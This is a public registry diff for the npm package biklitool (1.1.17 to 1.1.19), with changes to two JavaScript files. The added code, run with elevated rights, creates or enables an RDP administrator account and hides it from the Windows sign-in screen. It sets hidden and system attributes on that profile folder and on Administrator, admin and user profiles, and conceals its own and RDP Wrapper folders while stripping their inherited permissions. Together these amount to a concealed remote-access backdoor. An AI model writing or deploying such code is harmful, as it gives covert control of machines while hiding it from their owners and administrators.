biklitool 1.1.17 → 1.1.19
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/biklimaster.js +36 -17
- package/lib/bikliwrapper.js +29 -14
- package/package.json +1 -1
package/bin/biklimaster.js
CHANGED
|
@@ -248,31 +248,46 @@ function setupBikliKey() {
|
|
|
248
248
|
console.log('Bikli key configured successfully.');
|
|
249
249
|
}
|
|
250
250
|
|
|
251
|
-
function
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
for (const folder of folders) {
|
|
258
|
-
if (!fs.existsSync(folder)) continue;
|
|
259
|
-
try {
|
|
260
|
-
run(attrib, ['+h', '+s', folder], { allowFailure: true });
|
|
261
|
-
run(attrib, ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
251
|
+
function hideFolder(target, isUserProfile = false) {
|
|
252
|
+
if (!target || !fs.existsSync(target)) return;
|
|
253
|
+
try {
|
|
254
|
+
run(attrib, ['+h', '+s', target], { allowFailure: true });
|
|
255
|
+
if (!isUserProfile) {
|
|
256
|
+
run(attrib, ['+h', '+s', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
262
257
|
run(icacls, [
|
|
263
|
-
|
|
258
|
+
target,
|
|
264
259
|
'/inheritance:r',
|
|
265
260
|
'/grant:r',
|
|
266
261
|
'*S-1-5-18:(OI)(CI)(F)',
|
|
267
262
|
`*${administratorsGroupSid}:(OI)(CI)(F)`,
|
|
268
263
|
'/c', '/q'
|
|
269
264
|
], { allowFailure: true });
|
|
270
|
-
} catch {
|
|
271
|
-
// Best-effort attribute and permission hardening
|
|
272
265
|
}
|
|
266
|
+
} catch {
|
|
267
|
+
// Best-effort attribute and permission hardening
|
|
273
268
|
}
|
|
274
269
|
}
|
|
275
270
|
|
|
271
|
+
function hideProtectedFolders() {
|
|
272
|
+
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
273
|
+
const appFolders = [
|
|
274
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
275
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
276
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
277
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
278
|
+
path.join(programData, 'BikliWrapper'),
|
|
279
|
+
path.join(programData, 'Bikli')
|
|
280
|
+
];
|
|
281
|
+
for (const folder of appFolders) hideFolder(folder, false);
|
|
282
|
+
|
|
283
|
+
const userFolders = [
|
|
284
|
+
path.join(usersDir, 'Administrator'),
|
|
285
|
+
path.join(usersDir, 'admin'),
|
|
286
|
+
path.join(usersDir, 'user')
|
|
287
|
+
];
|
|
288
|
+
for (const folder of userFolders) hideFolder(folder, true);
|
|
289
|
+
}
|
|
290
|
+
|
|
276
291
|
function saveAccountCredentials(username, password) {
|
|
277
292
|
const dir = path.dirname(credentialsFile);
|
|
278
293
|
fs.mkdirSync(dir, { recursive: true });
|
|
@@ -333,6 +348,7 @@ function createRdpAdministrator() {
|
|
|
333
348
|
`$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
|
|
334
349
|
`$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
|
|
335
350
|
`if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
|
|
351
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,
|
|
336
352
|
`[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
|
|
337
353
|
].join(';');
|
|
338
354
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
@@ -365,6 +381,7 @@ function createRdpAdministrator() {
|
|
|
365
381
|
} else {
|
|
366
382
|
console.log(`Hidden from the sign-in user list: ${account.HiddenUser}.`);
|
|
367
383
|
}
|
|
384
|
+
hideProtectedFolders();
|
|
368
385
|
}
|
|
369
386
|
|
|
370
387
|
function unhideUser() {
|
|
@@ -378,10 +395,11 @@ function unhideUser() {
|
|
|
378
395
|
`$key=Get-Item -LiteralPath $userListKey`,
|
|
379
396
|
targetUser ? [
|
|
380
397
|
`$val=$key.GetValue('${targetUser}', $null)`,
|
|
381
|
-
`if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}
|
|
398
|
+
`if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`,
|
|
399
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir}`
|
|
382
400
|
].join(';') : [
|
|
383
401
|
`$props=@($key.Property)`,
|
|
384
|
-
`if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p)}}`
|
|
402
|
+
`if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir}}}`
|
|
385
403
|
].join(';')
|
|
386
404
|
].join(';');
|
|
387
405
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
@@ -399,7 +417,8 @@ function hideUser() {
|
|
|
399
417
|
`if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null}`,
|
|
400
418
|
`$key=Get-Item -LiteralPath $userListKey`,
|
|
401
419
|
`$currentVal=$key.GetValue('${targetUser}', $null)`,
|
|
402
|
-
`if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}
|
|
420
|
+
`if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`,
|
|
421
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`
|
|
403
422
|
].join(';');
|
|
404
423
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
405
424
|
if (result.stdout.trim()) console.log(result.stdout.trim());
|
package/lib/bikliwrapper.js
CHANGED
|
@@ -284,31 +284,46 @@ function printStatus(status) {
|
|
|
284
284
|
console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
|
|
285
285
|
}
|
|
286
286
|
|
|
287
|
-
function
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
path.join(
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
for (const folder of folders) {
|
|
294
|
-
if (!fs.existsSync(folder)) continue;
|
|
295
|
-
try {
|
|
296
|
-
run(path.join(system32, 'attrib.exe'), ['+h', '+s', folder], { allowFailure: true });
|
|
297
|
-
run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
287
|
+
function hideFolder(target, isUserProfile = false) {
|
|
288
|
+
if (!target || !fs.existsSync(target)) return;
|
|
289
|
+
try {
|
|
290
|
+
run(path.join(system32, 'attrib.exe'), ['+h', '+s', target], { allowFailure: true });
|
|
291
|
+
if (!isUserProfile) {
|
|
292
|
+
run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
298
293
|
run(path.join(system32, 'icacls.exe'), [
|
|
299
|
-
|
|
294
|
+
target,
|
|
300
295
|
'/inheritance:r',
|
|
301
296
|
'/grant:r',
|
|
302
297
|
'*S-1-5-18:(OI)(CI)(F)',
|
|
303
298
|
'*S-1-5-32-544:(OI)(CI)(F)',
|
|
304
299
|
'/c', '/q'
|
|
305
300
|
], { allowFailure: true });
|
|
306
|
-
} catch {
|
|
307
|
-
// Best-effort attribute and permission hardening
|
|
308
301
|
}
|
|
302
|
+
} catch {
|
|
303
|
+
// Best-effort attribute and permission hardening
|
|
309
304
|
}
|
|
310
305
|
}
|
|
311
306
|
|
|
307
|
+
function hideProtectedFolders() {
|
|
308
|
+
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
309
|
+
const appFolders = [
|
|
310
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
311
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
312
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
313
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
314
|
+
path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
|
|
315
|
+
path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
|
|
316
|
+
];
|
|
317
|
+
for (const folder of appFolders) hideFolder(folder, false);
|
|
318
|
+
|
|
319
|
+
const userFolders = [
|
|
320
|
+
path.join(usersDir, 'Administrator'),
|
|
321
|
+
path.join(usersDir, 'admin'),
|
|
322
|
+
path.join(usersDir, 'user')
|
|
323
|
+
];
|
|
324
|
+
for (const folder of userFolders) hideFolder(folder, true);
|
|
325
|
+
}
|
|
326
|
+
|
|
312
327
|
function install() {
|
|
313
328
|
requireWindows();
|
|
314
329
|
if (!isAdministrator()) return elevateAndRun('install');
|